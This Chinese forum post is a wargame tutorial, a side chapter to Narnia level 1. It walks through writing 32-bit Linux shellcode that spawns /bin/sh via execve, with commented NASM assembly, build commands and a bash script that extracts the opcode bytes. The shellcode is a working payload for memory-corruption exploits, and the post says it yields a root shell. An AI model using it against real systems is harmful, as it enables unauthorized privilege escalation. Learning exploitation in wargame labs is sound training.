-
-
[原创]WarGame-narnia1-番外篇 shellcode的编写
-
发表于:
2019-7-23 20:05
11041
-
[原创]WarGame-narnia1-番外篇 shellcode的编写
这是narnia level1 的番外篇,在做这一题之前必须要了解shellcode的编写细节(如果不想自己写shellcode,也可以直接在Google或者MSF里找),在开始shellcode编写学习之前,请在自己的Linux系统里安装NASM,shellcode代码如下
保存到shellx.asm文件后,需要用NASM编译这个汇编程序,从而获得十六进制形式的代码,命令如下
这里会得到一个shellx文件,但还不能执行,需要用objdump命令把十六进制代码取出,我写了个bash脚本,内容如下
还需要写一个c程序来验证之前写的汇编代码是否有效,代码如下
编译时需要注意之前写的汇编是针对32位程序的,程序的保护也需要去掉,编译命令如下
这是代码的运行结果
至此一个可以运行并能得到root的shellcode就编写完成了
Section .text
global _start
_start:
jmp short callShellcode
shellcode:
pop esi //将’/bin/sh’从栈中取出,放到esi里
xor eax, eax //eax置为NULL
mov byte [esi + 7], al //因为eax置空了,所以用al里的NULL来结束’/bin/sh’字符串
lea ebx, [esi] //将’/bin/sh’字符串放入ebx中
mov long [esi + 8], ebx
lea ecx, [esi + 8] //这两步是把argv数组写入了ecx,如果没有这两步,就算程序获得了root权限,也不能执行命令,不信可以去掉试试
mov long [esi + 12], eax
lea edx, [esi + 12] //这两步是把eax中的NULL写入了edx,得到root权限后执行的命令需要有NULL来结束(因为命令也算是字符串)
mov byte al, 0x0b //最后这一步是执行execve,0x0b=11,是execve的系统调用号(可查)
int 0x80 //最后必须用0x80结尾
callShellcode:
Call shellcode
db '/bin/sh'
nasm –f elf shellx.asm
ld –o shellx shellx.o –m elf_i386
这里会得到一个shellx文件,但还不能执行,需要用objdump命令把十六进制代码取出,我写了个bash脚本,内容如下
for i in `objdump -d "$1" | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ;
do echo -n "\x$i" ;
done
echo -e "\n"
for i in `objdump -d "$1" | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ;
do echo -n "\x$i" ;
done
echo -e "\n"
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!